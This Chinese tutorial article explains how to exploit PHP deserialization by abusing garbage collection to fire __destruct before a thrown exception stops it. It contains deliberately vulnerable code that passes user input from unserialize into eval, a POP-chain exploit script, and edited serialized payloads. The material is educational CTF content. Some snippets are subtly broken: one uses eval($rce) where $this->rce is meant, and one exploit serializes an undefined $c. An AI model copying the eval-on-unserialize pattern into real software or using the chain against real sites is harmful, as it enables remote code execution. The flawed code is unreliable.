PHP中GC回收机制如何利用

发布时间:2022-03-30 15:17:39 作者:iii
来源:亿速云 阅读:427

这篇文章主要介绍“PHP中GC回收机制如何利用”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP中GC回收机制如何利用”文章能帮助大家解决问题。

简单铺垫

先看看这个简单的序列化,一定要先思考再看后面的答案

<?php
highlight_file(__FILE__);
 
class errorr{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
?>

很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。

构造exp

<?php
class errorr{
public $rce = "phpinfo();";
}
 
$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。

PHP中GC回收机制如何利用

这里是因为可以用到__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

 如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

PHP中GC回收机制如何利用

 那接下来就演示用代码演示GC的实际工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜结果会是什么。

PHP中GC回收机制如何利用

谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

PHP中GC回收机制如何利用

意料之中。

如果注销$c[0] = $c[1]呢?

PHP中GC回收机制如何利用

可以看到,正常创建,最后销毁的。 

小试牛刀

既然知道如何利用GC了,那就看一个例题。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就这?");
 
?>

自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。

这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp为:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。

这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出来,就加了一行代码,就是

$c = array(0=>$a,1=>NULL);

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

PHP中GC回收机制如何利用

关于“PHP中GC回收机制如何利用”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注亿速云行业资讯频道,小编每天都会为大家更新不同的知识点。

推荐阅读:
  1. PHP的GC机制
  2. JVM GC(垃圾回收机制)

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php gc

上一篇:Go语言中全局变量与局部变量名称可以相同吗

下一篇:Go的形式参数怎么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》